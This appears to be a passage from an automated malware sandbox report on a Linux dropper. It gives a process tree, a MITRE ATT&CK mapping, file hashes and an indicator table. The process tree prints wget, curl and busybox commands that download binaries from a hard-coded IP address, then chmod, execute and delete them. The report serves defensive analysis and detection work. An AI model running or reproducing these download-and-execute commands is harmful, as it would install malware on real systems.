  chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:973
- /usr/bin/wget
  wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:976
- /bin/chmod
  chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:979
- /usr/bin/wget
  wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:982
- /bin/chmod
  chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:985
- /usr/bin/wget
  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:988
- /bin/chmod
  chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:991

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ

Path /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	750	duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	756	u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	774	MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	799	9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	822	znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	828	kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	850	42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	870	1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	876	I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	882	qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	888	Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	894	IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	900	DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	906	9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	912	1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	918	I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	924	IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	930	qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	936	Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	942	DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	948	9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	954	kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	960	42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	966	duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	972	u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	978	MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	984	9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	990	znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA